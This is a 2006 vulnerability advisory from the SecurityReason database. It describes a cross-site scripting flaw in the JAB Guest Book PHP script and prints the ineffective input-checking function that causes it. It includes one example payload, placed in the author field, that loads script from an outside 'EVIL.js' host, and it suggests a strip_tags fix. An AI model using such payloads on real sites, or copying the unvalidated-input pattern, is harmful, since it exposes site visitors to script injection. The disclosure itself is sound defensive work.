SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
IT News
Search
SecurityAlert Database
About SecurityAlert
ExploitAlert Database
SecurityReason Research
WLB
WLB Database
Send to WLB
About WLB
Services
Security Audit
Schedule
Prices of services
Contact
RSS
SecurityReason IT News
SecurityAlert
World Laboratory of Bugtraq
ExploitAlert
Apache
PHP
Corporate
Contact
About SecurityReason
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com
Home arrow SecurityAlert Database

Arrow  Topic :

JAB Guest Book XSS


Arrow  SecurityAlert : 1992
Arrow  CVE : CVE-2006-6371
Arrow  SecurityRisk : Low  Security Risk Low  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : Yes
Arrow  Credit : nj
Arrow  Published : 08.12.2006

Arrow  Affected Software : JAB Guest Book



Arrow  Advisory Content :  

Script Name: JAB Guest Book
Authors: Barnz (at) hotmail.co (dot) uk [email concealed]
Website: James Barnsley
Bug Report: NetJackal (nj[AT]hackerz[DOT]ir & nima_501[AT]yahoo[DOT]com)
Status: Patch not released
First i should apologize for my bad english.
Intro:
JAB Guest Book is a free guest book written in PHP, it works using flat
files
to store data which means no database is needed. Features include easy
installation
and customisation into your existing website. An administration panel which
allows
you to delete posts and ban users, additional administration configuration
to un-ban
users and to use the bad word filter. Ability for users to post messages
with topic,
email and comments including emotions (smilies). The main guest book works
completely
using only one file.
Bugs Description:
look at pbguestbook.php at line 425:


function invalideregtest($input)
{
$checkcount = 0;

//$exinput = str_split($input);

$countname = count($exinput);

for($i=0; $i<$countname; $i++)
{
if(!ereg("[A-Za-z0-9]", $input[$i]) == 1)
{
$checkcount++;
}
}

if($checkcount != 0)
{
$input = "no";
}
else
{
$input = "yes";
}

return($input);
}
$check1 = invalideregtest($topic);

script just check $topic by invalideregtest function. so what's happen if
we put some thing lile
<SCRIPT SRC=http://Hacler/EVIL.js></script> in $author? yes true answer xss
happens

Solution:
Edit the code and check other inputs by invalideregtest function or simply
remove html tags by
strip_tags function (PHP built-in function)




Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc/fnmatch(3) DoS

Security Risk Medium- 2011-05-13

Allow attacker to denial of service apache 2.2.17 server
Apache RSS Apache Alert

» Apache HTTP Server Denial
   of Service Vulnerability

» Multiple Vendors
   libc/fnmatch(3) DoS (incl
   apache poc)

» Apache Continuum
   cross-site scripting
   vulnerability

» Apache Tomcat DoS
   Vulnerability
PHP RSS PHP Alert

» PHP Hashtables Denial of
   Service

» PHP 5.3.6 multiple null
   pointer dereference

» PHP 5.3.6 ZipArchive
   invalid use glob(3)

» libzip 0.9.3
   _zip_name_locate NULL
   Pointer Dereference (incl
   PHP 5.3.5)
ADT

Protect your family and valuables with Home Security Systems
Copyright © SecurityReason.com. All Rights Reserved.